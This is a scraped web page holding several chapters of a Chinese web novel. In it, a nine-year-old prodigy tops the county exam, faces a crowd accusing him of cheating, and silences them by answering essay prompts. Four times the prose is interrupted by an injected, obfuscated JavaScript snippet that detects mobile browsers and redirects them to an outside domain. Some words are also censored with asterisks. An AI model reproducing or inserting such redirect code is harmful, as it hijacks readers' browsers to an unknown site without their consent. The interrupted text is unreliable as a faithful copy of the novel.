而且不知怎么回事儿,总觉得今日放榜的气氛很是奇怪,**静了! 没有痛哭哀嚎声,也没有兴奋激动笑声。 好生诡异。 因为人实在太多了,老崔氏拉着岘哥儿,提高声音道:“岘哥儿,人太多啦,不安全。要不咱们等一会儿再去看吧!” 其实,老崔氏这个人,向来是做不到淡定的。 她是真的认为,孩子还小,没有中榜的可能。所以才对看榜并不上心,反而担心怕人多,挤到岘哥儿。 毕竟老崔氏自己,在这个红案前,已经不知道哭过多少次、哀嚎过多少次了。 她如今见到红案,第一感觉是觉得恐惧。 癔症老崔氏盼望儿子中榜到疯魔,这个话题,可是全南阳都有所耳闻的啊! 可是今日。 寂静的人群中,在听到‘岘哥儿’二字后,齐刷刷回头。 人们看向崔岘,目光里饱含着太多复杂的情绪。 老崔氏被吓了一跳,当即第一时间将岘哥儿护在身后。 不仅是她,裴崇青、裴老太太,崔家人 ,以及庄瑾等一群小少爷们,都被唬了一跳。 怎么了这是? 而后。 在他们呆滞、震撼的注视下。 前面有人高声喊道:“小神童,是小神童来了!” 哗! 这一嗓子,犹如春日惊雷,在人群中轰然炸响。 随后,前排的人们,默契朝着两边散开。拥挤的人群,硬生生就这样,让出了一条通道。 为新晋县案首让出的通道! 这一幕真的相当震撼,拥挤、熙攘的人群,突然就这样散开了! 拉着岘哥儿的老崔氏,和崔家人、裴家人,庄瑾四人,骤然站在了通道最中央,前方豁然开朗。 正对着远方的红案榜! 老崔氏怔怔的看着这一幕,若有所悟,猛然看向看小孙子,心跳砰砰砰加速跳动。 而后。 她听见岘哥儿笑着问道:“祖母,你开蒙了,肯定认得孙儿的名字,对吧?” 认得,老崔氏肯定认得! 她开蒙后,每日练得字虽然歪歪扭扭,但写的都是家人的名字啊! 老崔氏捂住嘴巴,激动的不知道该说些什么,只是不停地点头。 崔岘攥住老崔氏的手:“那,祖母,您拉着孙儿,去看看吧。去看看红案排在第一的,是不是孙儿的名字。” 老崔氏敢发誓,她此后一生,都忘不掉那个震撼的场面。 人群如潮水般分开。 无数道目光,为他们加冕。 她拉着岘哥儿,颤巍巍穿过人海,走到红案前站定。 红案榜最前方,排名第一的那个,区别于别的墨色字迹、独独用烫金色写出来的闪耀名字是—— 八排九列、县案首、崔岘! ? 109、县案首‘单挑\’上千考生!(上) 红案前。 老崔氏看着榜上’崔岘‘的名字,脑袋都是懵的。 她颤抖着转过身,小心翼翼看了看孙子,接着再回看向红案,才终于敢确定—— 中了! 九岁的岘哥儿,中了县案首啊! 刹那间。 老崔氏眼泪都流了出来。 跟着岘哥儿搬出河西村,经历了一桩、又一桩的大喜事儿。 老崔氏逐渐体会到,人不仅在悲伤难过的时候会哭。 原来幸福降临的时候,也是会流泪的啊。 日子,怎么能过的这般舒坦,又美妙呢! 她蹲下身,一边笑着落泪,一边抱着崔岘,颤声道:“岘哥儿,好孩子!祖母看到了,祖母看到了啊! “你的名字在第一! 崔岘抱着祖母,咧开嘴笑。 考第一、考县案首的意义,不就在于此刻吗? 在她俩身后。 崔仲渊、崔伯山、林氏、陈氏等人,早已震惊瞠目到说不出话。 裴老夫人瞪直了眼。 而裴崇青老爷子,则是一副‘见鬼了’般的震撼表情:“这……合理吗? 才开蒙一年的九岁稚童,中了县案首! 老天啊! 他让岘哥儿代替裴坚去考试的时候,打死都想不到,会是这样的一个结果! 唯有裴坚、庄瑾等人,在片刻的沉默后,突然爆发出震天的欢呼声。 他们几个小少爷互相拥抱在一起,神情激动不已。 天呐,真中了县案首! 那岂不是说了,岘弟确实有旁人不知晓的‘学习秘法’? 那若是能跟着岘弟一起学习,中个童生什么的…… 单是想一想,都让四位少爷热血沸腾。 尤其是裴坚。 他看到了跟上岘弟步伐、不会被远远甩开的希望啊! 裴坚几人的欢呼声,让崔家人终于回过神来。 “岘哥儿,你竟然中了县案首! “老天啊! “娘,咱们回去后,一定要多摆几桌,给岘哥儿庆贺一番! “很快就是 清明了,咱们带岘哥儿,去祭拜一下崔家先祖吧。祖宗们泉下有知,不知道该有多高兴呢!” 和老崔氏一样,陈氏、林氏等人,都高兴的眼泪汪汪。 岘哥儿这孩子,实在是太出息了啊! 老崔氏抱着岘哥儿,笑容都止不住,满口答应:“好,好啊!” 他们一大家子,沉浸在喜悦当中,无法自拔。 却没意识到。 周围沉默注视着这一幕的考生,神情都变了。 凭什么呢? 凭什么别人寒窗苦读多年,却一直落榜。 而你才九岁,第一次下场考科举,就中了县案首? 纵然你是神童,拥有旁人无法比拟的惊艳诗才,能写出震撼大梁文坛的锦绣诗篇。 但,这是科举考试,考的是八股文啊! 这世间,真的有人能天才到—— 才开蒙一年,便能以九岁稚童的年纪,就中县案首的吗? 不可能吧! 究竟是因为,你真的有真才实学。 还是因为……你有个名震大梁的大儒老师,一个正二品的河南布政使师叔,以及一个次辅阁老师祖呢? 这公平吗? 这不公平啊! 放榜的时候,本就人多。 而在这种人群拥挤的情况下,最容易出现变数,出现纷乱,出现局面失控。 因为‘法不责众’,隐藏在人群中,会让恶意无限放大。 总之。 不知是谁第一个开口的。 一道刻意捏着嗓子,隐藏自己身份的尖锐声音,犹如炸雷,在县衙前响起: “舞弊!这绝对存在舞弊!他才开蒙一年,怎么可能中县案首!” 哗! 这么一句话,在无数人耳边轰然炸响。让县衙前的考生们,脸色齐齐大变。 而后,开始有很多考生,愤愤响应。 “对,肯定是舞弊!” “凭什么他九岁就能中县案首,还不是因为有个次辅阁老师祖。” “这不公平,这不公平!” “我们要看崔岘的答卷!” 刹那间,场面一片混乱。 崔岘脸色骤变。 包括老崔氏、裴坚等人也都收起笑容有些惶恐不安。 最先展开行动的是时刻关注着外界情况的叶怀峰、宋知府。 事情果然还是朝着不可控的方向发展了! 叶怀峰深吸一口气急急道:“快赶紧将崔岘一家人护住!” 这种纷乱的情况一旦考生们被煽动情绪**。 崔岘本人 经由叶怀峰一声令下。 县衙的数十位差役们即刻领命将崔家人、裴家人庄瑾等几位少爷护在身后。 并在同一时间齐齐拔刀! 为首的那位差役冷声呵斥道:“大胆!县案首是县尊大人审阅答卷后亲自点的!尔等没有证据竟敢空口无凭污蔑县案首舞弊!” 但凡今日只有一个、或者十几个考生都闹不起来。 可现在县衙外足足有着成百数千人啊! 法不责众人多壮胆。藏在人群中喊话会滋生莫大的勇气和恶意! 更何况这是一群书生啊! 一旦读书人**事情会朝着不可控的恐怖方向一路狂飙。 “开蒙一年九岁县案首实在荒谬!” “县尊大人难道就敢说自己真的问心无愧吗?” “对我们要看崔岘的考卷!” “他肯定舞弊了!” 纵然差役们亮起屠刀也无法吓退这些读书人。 反倒激起了众人的怒火。 人们开始逼近无数道目光愤怒的看向崔岘看向崔家人。 势要县衙给出个交代! 情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088400|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在刹那间陷入危机。 崔家人脸色骤变老崔氏死死将岘哥儿护在身后虽然畏惧但脸上却是分毫不让的决然。 有她在谁都不可以伤害岘哥儿! 包括崔家人裴崇青、庄瑾裴坚等人都默契将崔岘护在身后。 县衙里。 叶怀峰急急道:“马上将崔岘的考卷张贴出去——” 宋知府摇头:“不!没用的立刻将崔岘等人护送着离开这是非之地。” 考卷可以放出来,但绝对不是在这种乱糟糟的时候。 因为怀疑的种子已经种下,考生们不愿意相信,崔岘真的可以凭本事中县案首。 那就算放出考卷,又有何用呢? 还是会有人说:这不是他写的,他或许提前拿到了题目,或者是他的老师东莱先生帮忙捉刀的。 总之。 在这种失控的场面,一旦陷入自证逻辑陷阱,就全完了! 等待崔岘的,是更恐怖的汹涌怒火。 除非他能凭一己之力,当场力挽狂澜,以实力**这群心态崩溃的考生。 否则,便只能先退走! 但……为何要退呢。 凭借自身本事,堂堂正正考的县案首,为何要退? 今日退了,是不是以后每一场考试,都要面临这样一遭?都要被无数人质疑? 这个时候,崔岘突然懂了,为何东莱先生成长为文坛领袖,要去参加无数次辩经。 不遭人妒是庸才! 一个天才,或者说大儒的成长,就是会面临无数次质疑、否定、猜忌、打压。 但,那又如何? 这些人的质疑,最终都会成为我证明实力的一部分。 成为点燃我耀眼光芒的火种! 既然五年后,迟早要去开封高台辩经,迟早要接受无数人的挑战。 那不妨,就在今日,在这县衙红案前。以县案首的身份,拿你们这群人,做试刀石吧! 想明白了这点。 熙攘的人群中,崔岘安抚般拍了拍老崔氏的胳膊,而后问差役借来铜锣,用力猛然敲响! 哐! 哐! 震天的哐啷声,让陷入纷乱的人群,骤然安静下来。 无数人看向崔岘。 而崔岘站在数十位持刀差役的后方,确保自己和家人是安全的。 这才决定开口应对。 迎着众人的打量,崔岘丢掉铜锣,神情半分不显慌乱,扬声道:“看来,诸位此刻都有很多疑惑?” “巧了,在下乃本届县案首,崔岘。” “诸位有何不解难题,都可以来向我请教!” 县衙前。 本届县案首崔岘,站了出来,以一人,独面上千考生,半分不显畏惧。 既然你质疑我这县案首是假的。 好! 那我便站出来,且让你看看,这县案首—— 为何你拿不得,而我可以! ? 110、县案首‘单挑\’上千考生!(中) 崔岘这番喊话,虽说狂妄。 但却成功让县衙外癫狂纷乱的气氛,骤然安静下来。 因为他们主要的诉求便是:只开蒙一年,九岁稚童,不可能中县案首。 一定是舞弊! 崔岘坦然应对,接下他们的质疑。 既然你们觉得我不可能中县案首,那么好啊,来吧。 咱们废话少说,直接见真章! 有问题,尽管来向我讨教。 换个意思便是—— 我这位县案首,愿当场接受你们所有人的考教。 好让你们看看,我这县案首,究竟能不能当得! 这是何等狂妄,或者对自身实力何等自信,才能说出这番话啊! 对上数千人的目光。 崔岘夷然不惧,挺直脊梁,傲然跟他们对视。 县衙内。 关注着这一幕的宋知府迟疑道:“怎么办?” 叶怀峰思索片刻,一咬牙:“让他试试,一旦情况不对,立刻让差役们护送他离开!” 县案首既然已经点了,那自然就要堂堂正正。 有人质疑,这是无法避免的。 这个时候,没有比县案首本人亲自出面,当众打碎质疑,更能让人信服的了! 崔岘身后。 老崔氏、崔家人、和几位小少爷,听到这番话,都神情忐忑。 这可是上千位考生啊,当众考教……真的能赢吗? 虽然心中担忧,但他们却并未开口,而是选择默默站在了崔岘身后。 至少,他不是一人在孤身战斗! 然而诡异的是,崔岘这番话说完,却没有人第一时间应声。 这也正常。 崔岘的后台,实在太恐怖了! 这些考生,只敢趁乱躲在人群里,发泄自己的不满,挑起众怒。 等真到需要他们单独站出来的时候,却哑声熄火了。 谁敢跟当朝次辅阁老的徒孙叫板? 那不是置自己科举仕途于不顾嘛! 见无人应声。 崔岘一挑眉,朗声道:“诸位方才不是都在质疑,我这位县案首是靠舞 弊得来的吗?怎么,现在我给你们机会,你们反倒是不敢站出来了? “我知道你们怎么想的,开蒙一年,九岁,大儒老师,布政使师叔、次辅阁老师祖。所以,我这个县案首,肯定是舞弊得来的! “何其荒谬! “我本不想理会你们这些流言蜚语,奈何你们苦苦相逼。躲在人群中,暗戳戳挑唆众怒,却又不敢现身对峙,实在非君子所为! “你们大可做井底蛙,但我崔岘,志要做天上月! “我既得了这个县案首,便要堂堂正正,容不得你们半分诋毁! “你们不敢站出来,怕得罪我老师、我师叔、我师祖。那好,今日,不必你们站出来。我,崔岘,以县案首的身份,当着你们所有人的面,点名让你们来讨教。 “你们自不必担心,我日后会报复你们。 说罢。 崔岘在一片震惊哗然声中,回头一指背后的红案榜:“今日中榜的76名考生,我来点名,你们一个个上前来,每人出一个八股题目! “你出题,我破题! “因为是我现场点你们来出题,自然不存在任何形式的舞弊可能。 “但凡在场有考生觉得,我崔岘破的不对,直接站出来,同我辩驳。 “若是我答不上来,那我这县案首,让给你又何妨? 哗! 听闻这话,县衙前一片哗然。 所有人都震惊的看向崔岘,神情呆滞,表情震撼。 但—— 没人敢说出一句嘲讽的话。 因为这位九岁的县案首,展现出了自己最光明磊落的姿态、最谦谦君子的风范! 崔岘说完。 不理会周遭的哗然,回头看向红案榜排名第二那个名字,高声道:“第二名,周恒,出题! 人群陷入片刻的沉默。 而后。 一位中年男子,从纷乱的人群中挤出来,尴尬道:“小神童,我自是没那个意思…… 崔岘一摆手:“出题! 这个时候,多说无益。 直接见真章吧! 那周恒怔愣片刻,随后在众人的注视下,深吸一口气,道:“既然如 此,那在下就不再谦让了。不瞒诸位,在下对自己所答之试卷,很是满意。实在想不通,为何只被排为第二名。” 看来,虽然在场众人有暗中挑唆者,但也不乏有真君子。 至少,他敢当众表达自己的不服! 崔岘一甩长袖:“请!” 周恒略作思索, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088401|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“有一题,在下苦思不得其解。今日好请教小神童——” “里仁为美。” 听到这个题目,在场无数考生齐齐皱眉。 这句话,题目出自《论语?里仁》: 子日:里仁为美,择不处仁,焉得知? 看似意思很简单:孔子说,居住在有仁德之风的地方,才是美好的。若是选择住在不仁德之处,怎么才算得上是明智呢? 问题是,这一句话,含糊其辞,怎么破? 当众人还在苦苦思索的时候。 便见崔岘一扬眉:“为善必慎其**,故所居必择其地。” 那位提问的,叫做周恒的考生,当场如遭雷击,震撼无言。 不仅是他。 县衙外大量正在苦苦思索的考生,都呆滞的看向崔岘,怔怔失声。 这道题……原来还可以这样破? 莫说他们这些考生。 连县衙里的叶县令,和宋知府,都浑身一震! 崔岘不理会旁人的震惊,只看向那周恒:“可有异议?” 众目睽睽之下。 先前还表示不服的周恒,竟对着崔岘躬身行礼,羞愧道:“感谢小神童赐教,周某,不敢有异议。” 崔岘闻言摆摆手,看向红案榜:“第三名,陈长庚,出题!” 一位青年从人群中挤出来,并不废话,直接道:“点,尔何如?” 嘶。 听到这个题目,众人倒抽冷气。 这是什么见鬼的题啊? 但崔岘几乎没有经过思考,朗声道:“志有合乎圣心者,不求知而自得也!” 那位叫做陈长庚的青年,愣愣看着崔岘,震撼失声。 原本还质疑崔岘县案首的人群,同样一片沉默。 崔岘不语,只是道:“第四名,出题!” “生财有大道!” 崔岘几乎没有过多思考,答道:“王者平天下之财,以道生之而已!” 他每答一题,都让在场无数考生惊艳受教,震撼失声。 原来……八股题还可以这样破? “五亩之宅树墙下……” 那让在场诸多考生苦思冥想的题目,在崔岘这里,几乎不用思考。 他不假思索,脱口而出:“详养老于周政,帛与肉交足焉。” “第五名,出题!” ? 111、县案首‘单挑\’上千考生!(下) 县衙,红案榜前。 考生们看着榜下年轻到过分的崔岘,震撼的瞪大了眼。 因为第二名、第三名、第四名出的八股题,都被他当场,快稳准的直接破了出来! 方才那三道题,或许他们其中也有能人破。 可绝对做不到似崔岘这般举重若轻、信手拈来! 而且破的这般让人惊艳! 让人醍醐灌顶! 其实到了这里,已经有部分考生意识到了—— 崔岘能中县案首,自然是凭借实力。 九岁又如何? 只开蒙一年又如何? 这世间,就是会存在完全不讲道理的妖孽天才啊! 但,崔岘的声音还在继续。 “第五名,出题!” 只是这位第五名,始终没有站出来。不知是没来……还是不想站出来。 崔岘略作思索,抬手随机指向人群中一人,道:“那你来出题。” 猝不及防被点名的那位青年考生,吃惊又茫然:啊?谁?我吗? 在众人齐刷刷注视下。 那青年考生脸色瞬间涨的通红,脑子也有些发懵,最后竟磕磕巴巴的出了个题目:“学而时**之。” 人群陷入瞬间的沉默,而后哄笑出声。 这就很有趣。 被质疑县案首是靠舞弊得来的崔岘,没有怯场。 反倒是他们这些质疑人家的,连个像样的题目都拿不出来。 别说在场这些考生。 甚至连裴坚、庄瑾等学渣,听到这个题目,都捧腹大笑。 崔岘也笑了。 但笑过后,仍旧认真给出破题思路:“为学而惮其苦,圣人以‘时**’诱之焉!” 听到这个破题,原本还在笑的考生们,笑不出来了。 不是? 如此简单的题目,也能破的这般精彩?! 正所谓:大道至简。 这个破题,终于让考生们意识到,他们同崔岘的差距有多大! 那位提问的考生,万万没想到会获得这样一个答案。 愣神片刻后,他竟当众朝着崔岘鞠躬致谢,诚恳道 :“多谢县案首,在下受教了! 在绝对的实力面前,质疑,消失了。 他们甚至开始主动称呼崔岘为‘县案首’! 崔岘摆摆手,道:“第六名,提问! 第六名是一位头发花白的老者。 他站出来,不再像前面几位那般随意。而是认真朝着崔岘一拱手,以请教的姿态说道:“在下有一疑惑,想请教县案首。 “心之官则思。 崔岘向来不是嚣张跋扈之人,你敬我,那我自然以礼回之。 他看向那位老翁,微微拱手,答道:“揭心之所以统众体者,而即思以惕之焉。 那排名第六的老者,当场被震慑到怔怔无言。 而听到题目后,正在苦苦思索的考生们,更是满脸呆滞。 众人看向只有九岁、眉眼稚嫩、年轻到过分的崔岘,再也没有了先前的群情激奋质疑。 甚至有些年迈的老者、中年人,脸上开始浮现出畏怯与恐惧。 原来…… 这便是真正的妖孽天才吗? 太可怕了! “第七名! 崔岘的声音仍旧在继续。 但听在众人耳中,莫名觉得格外有压力! 第七名站了出来,照旧恭敬朝着崔岘拱手,而后才道:“敢问县案首,三仕为令尹,何解? 崔岘回礼,答道:“大夫之心裕而公,忠于谋者也。 人群骤然失声。 那第七名怔怔看着崔岘,片刻后竟转过身,朝身后那数千位考生,嘲讽大笑:“哈哈哈哈,可怜你们这帮庸才,如井底蛙见天上月,不知皓月为谁圆! “可笑,实在可笑啊! 说罢。 第七名朝着崔岘长鞠一躬,叹服道:“我,县试第七名,钱仲。对本届县案首,无半分异议! “他,实至名归! 这得是何等令人认可的才情学识,才能当众扭转局面,让无数质疑,直接化作敬佩,折服啊! 接下来。 “第八名,提问。 “敢问县案首——圣人,吾不得而见之矣,何解? “圣人有见圣之思 ,而终不得于有恒也!第九名,提问! …… “敢问县案首——不患无位,何解? “论人于名位之情,欲其思为可就焉。下一名,提问! …… “敢问县案首…… 一开始。 考生们还能硬着头皮站出来,恭敬称呼一句‘县案首’,而后提问。 后来,考生们逐渐呆滞麻木。 因为不管他们出什么类型的题目,涵盖心学、时政、礼仪、经济等等诸多方面,都被崔岘轻松破题。 那些他们绞尽脑汁都想不出来的八股,到了崔岘这里,甚至不需要犹豫,信手拈来! 长达近半个时辰的考教。 超百道八股题,没有一道,能难倒崔岘。 甚至崔岘破的题,也没有一人敢站出来质疑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088402|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到最后。 那数千考生竟然怯了,一个个开始惊恐着后退。 再也没有先前的嚣张质疑姿态。 某位白发老翁当场嚎啕大哭:“老天呐!这世间,怎么会有这等天才,让我情何以堪,情何以堪呐! 有中年考生被震撼到喃喃失声:“全答出来了,怎么就全答出来了呢! 有青年考生脸色苍白:“别、别再提问了,我相信他是凭借自己的本事,考的县案首。 听,道心一片片破碎的声音! 或许先前他们,还抱有怀疑。 而崔岘,用这种最直接、最生猛、最刚硬的方式,同他们见了真章,粉碎了他们的自信。 我,崔岘,凭本事拿的这个县案首! “下一名,提问! 这句不停重复的话,竟让很多人脸色苍白,开始惶恐躲避崔岘的眼神。 “怎么,没有人提问了? 红案榜下,崔岘反手指向自己的名字,斜睨众考生,朗声道:“那看来,诸位承认我这位县案首了?实在是崔某之荣幸呐! 这番夹枪带棒的嘲讽,无人敢应声。 甚至很多考生面露羞愧。 技不如人,空口无凭怀疑人家舞弊,现在被人家正面以实力教训,那也纯属活该! 因此。 县衙前,上千考生气势全无。 反观年轻的县案首,以一人对千人,**全场! 衙门里,远远瞧着这一幕的叶怀峰,宋知府,满脸呆滞。 二位大人怎么都想不到,今日这场骚乱,会让崔岘以这般力挽狂澜之姿态平息! 而崔岘身后。 老崔氏,崔家人,裴坚、庄瑾等人,更是眼冒星光,激动的说不出话来。 岘哥儿,也太飒爽霸气啦! 考教已经结束,舞弊之事被证明为无稽之谈,但崔岘心中仍有余怒未消。 大好的日子,任谁被摆这么一道,都不会开心的。 见无人应答就算了,这成百上千考生,仍旧围堵在自己身前。 崔岘一扬眉:“怎么,既都不再提问,还将我堵住,是何用意?” “让开路来!” 他话音落下,人群竟听话后退,急急为他让出一条通道。 崔岘也不再看这些人,牵着老崔氏,和家人、朋友们一起,先后离开。 等崔岘离开后不久。 关于‘九岁县案首’、‘县案首当场破百道八股时文题’的震撼消息,霎时间如风一般传开。 轰动了整座南阳城! 而这,只是个开始! ? 112、东莱先生:天塌啦! “听说了吗,今日县衙放榜,小神童中县案首了!” “什么?小神童不是才9岁吗?” “对,那群读书人们说咯,小神童马上会成为咱们大梁最年轻的县案首!” “哎哟,太厉害了!” “最新消息,方才在县衙,出现了一场闹剧。考生们质疑小神童的县案首,是靠舞弊得来的,当场把小神童给围堵起来了。” “啊?” “但是,小神童半点不畏惧。直接让现场考生出题,他来作答!上百道题,竟没有一道能难得住小神童!” “天呐!” 此事,实在过于轰动,因此很快便在南阳县城流传开来。 凡是听到消息的百姓,都很是激动,神往不已。只恨自己没有在现场,目睹小神童一人破百题的耀眼风姿。 一人对峙千人,还不落下风。 凭实力,让质疑声全部消失。 这得是何等才情和魄力,方能办到啊! 而那群无缘无故,冤枉小神童‘舞弊’的考生们,也被南阳百姓所不齿。 看人家年纪小中县案首,心里嫉妒,所以污蔑人家舞弊。 不要脸的玩意儿,读书都读到狗身上了吧! 想想前不久,小神童被陛下嘉奖,还免了南阳县百姓好几年的赋税、徭役呢。 你们竟然敢恩将仇报! 百姓们骂的很脏。 因此,这一届参加县试的很多考生,最近都不敢在公开场合露面。 一是怕被骂。 二是道心破碎,需要时间来自愈啊! 很多考生近期晚上睡觉,一闭眼脑子里都是崔岘破百题的惊悚场面,躺在床上辗转反侧无法入眠。 太可怕了! 一个九岁的孩子,怎么能天才妖孽到这种地步? 因为被吓破胆了,闹到最后,竟无人再敢提,让县衙公布县案首的答卷。 这让叶怀峰县令很是遗憾:“这么精彩的答卷,不公之于众,实在是那些学子们的一大憾事啊。” 听到这话,宋知府很是无言。 那些考生们,如今道心崩溃者数不胜数。若是再看过崔岘的答卷…… 怕是 一个个都要哭着回家了。 总之一场关于对县案首的质疑在南阳城里算是平息了。 但南阳之外 宋知府深吸一口气:“封卷吧将本次县试成绩递交开封府。事情太大咱们顶不住交给上面去顶吧。” “好。” 叶怀峰答应下来把本次县试的排名、同答卷一起递交去开封府。 三天后。 提学衙署。 一位佥事在收到南阳县试的成绩文书后盯着‘县案首崔岘、年九岁’震惊看了许久而后一拍桌子站起来:“荒谬!九岁县案首实在荒谬啊!” “这崔岘是东莱先生的弟子吧?好一个南阳县令当真胆大包天!” “我要马上向提学大人禀告此事!” 提学衙署是个很特别的部门只负责全省科举、教学。 衙署里的佥事们一律都是迂腐老学究。 他们可不管你是什么后台事关神圣科举谁都别想在里面玩儿猫腻! 老先生们的眼睛就是公道尺! 因此这位老佥事的话引来更多佥事们哗然震怒。 一帮头发花白的老先生们群情振奋找到提学大人誓要让南阳县令叶怀峰给个交代。 提学大人听闻此事像是头一次知道那般表情‘勃然大怒’:“哦?竟有此事?实在是太恶劣了!” “来人把本届南阳县试的考卷拆封好叫各位老先生们掌掌眼那南阳九岁县案首究竟写了什么!” 此刻。 还没人注意到提学大人话里的机锋——他自己竟然没有选择第一个看而是让这群老佥事们看。 一位佥事怒气冲冲领命拆开南阳县试的试卷封条找到崔岘那份当众查阅。 而后这位佥事越看眼睛瞪得越大。 提学大人眨眨眼故意问道:“这位九岁的县案首写了什么?” 那老佥事本就心神激荡。听到‘九岁’二字竟在一片惊呼声中被刺激的白眼一翻哆嗦着晕了过去。 这一日提学衙署的老佥事们都‘疯了’。 有人捧着那份试卷如获至宝痛哭流泪。 有 人疯疯癫癫高呼‘和他一比,我这一生,就像是个笑话’。 而在一片闹腾声音当中。 提学大人扣押下南阳县试的答卷,只把本次县试的成绩排名文书,八百里加急呈送京城礼部。 南阳出了一位九岁县案首,这种事情,肯定是得尽早报备的。 至于为何只送成绩,不送答卷——郑阁老一切都准备好啦,那提学大人自然要懂事点,把效果做起来。 先给成绩,让言官们站出来开喷,再把试卷递过去,堵住那些喷子们的嘴。 朝堂上的大人们,都很会玩儿这一套。 不做猴子演戏,陛下每日上朝,哪能看乐呵凑热闹呢? 坦白来说这个思路是没问题的。 问题是—— 郑阁老他对此事一无所知啊! 叶怀峰、宋知府、乃至于提学大人,每个人都坚信,此事上面有人在顶着。 而上面表示:啊? 最先收到消息的是李端。 大概是县试成绩送去礼部后的第三日,李端碰见了提学大人。 此时一切都已经尘埃落定,提学大人也不再藏着掖着了,笑呵呵对李端说道:“李大人,恭喜恭喜啊。可惜,东莱先生已经离开开封,回南阳了。” “否则,我还想亲自找他贺喜呢。” 李端疑惑道:“哦?何喜之有啊?” 提学大人心想,不愧是二品布政使啊,这演技,绝了! 就跟完全不知道这事儿似的! 他心中佩服,笑呵呵道:“当然是您的师侄,东莱先生的弟子,崔岘啊。年仅九岁,便中了县案首!还是咱大梁王朝,最年轻的县案首,厉害啊!” 李端:? 听到这话,布政使大人眼睛都瞪大了,随后着急道:“小崔岘,中了县案首?莫要胡说八道!” 这次轮到提学大人:? 不是兄弟,你戏演的有点过了吧! 但提学大人还是耐着性子,陪他演:“这等事情,下官怎敢胡说?南阳本届县案首,崔岘,九岁。县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088403|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试成绩我三天前,就已经发往礼部了。” 李端:“…………” 这位向来泰山崩于前而色不改的二品布政使,只觉得眼前发黑。 他仿佛已经看到老师在朝堂上,毫无预兆被言官们集体炮轰的可怜场景了。 老师遭殃受气,他这个学生,指定是要被骂到狗血淋头的啊! 不是,这么大的事情……师兄前两天在开封的时候,怎么一点消息不透露呢? 究竟发生了什么! 说好的低调呢! 李端很崩溃,很想抓着师兄东莱的肩膀,使劲晃晃对方的脑子,问问对方究竟在搞什么鬼! 但天可怜见。 东莱先生也毫不知情啊! 他在开封待了一阵,借了许多藏书。 回南阳之前,还特地写信送去崔家,告知小徒弟:为师四日后返回南阳。 这封信,老崔氏收到了。 崔老太太当时正准备考虑,给小孙子办一场庆功席面,好生热闹热闹。 县案首,还是大梁王朝最年轻的县案首,必须摆桌啊! 但老崔氏想了想,岘哥儿是东莱先生的弟子。如今弟子中榜,肯定得等着老师回来吃席面嘛,礼数不能丢。 于是,这场庆功宴,就摆在了东莱先生回来的当天。 老崔氏还特地雇了马车,去白河码头,贴心将东莱先生接到崔家。 今日。 崔家格外热闹,所有来的宾客,都一副喜气洋洋姿态。 崔岘正在跟裴坚等人,在院子里笑着玩闹,瞧见老师回来,颇有些心虚的缩了缩脖子。 而东莱先生,则是被崔老太**排去了主桌,并郑重给老先生敬酒。 东莱先生接了酒,笑呵呵疑惑道:“今日家里这是有什么大喜事,如此热闹?” 老崔氏一愣,这才反应过来,笑的合不拢嘴:“哎哟,是天大的喜事儿。老婆子我糊涂啦,竟还没来得及跟老先生您说呢。” “咱家岘哥儿啊,中县案首了!多亏老先生您悉心栽培,岘哥儿这孩子,是咱们大梁王朝最年轻的县案首呢!” “……?” 东莱先生愣住了。 他看着满脸喜气洋洋的老崔氏,再看看满院子热闹来恭贺的宾客,端着酒杯的手,微微颤抖。 不是? 我就出了一趟远门而已,为什么回来就成这样子了啊! “老师,我办事你放心!咱家小崔岘,现在就是个平平无奇的稚童罢了!” 回想起自己先前给老师写的信件,东莱先生只觉得天都塌了。 他哆嗦着喝下那杯老崔氏敬的酒,试图让自己冷静。 可仍旧觉得冷静不下来,一屁股坐在椅子上,表情发懵。 和李端一样,东莱也想到了自己老师在朝堂被炮轰的场面。 九岁县案首! 这比上次百家名门恭贺的收徒宴,来的更加夸张、震撼啊! 宴席上。 老崔氏见东莱先生喝了酒,坐在位置上怔怔无言,以为他跟自己一样高兴傻了,喜滋滋调侃道:“哎哟,老先生,没想到吧?” 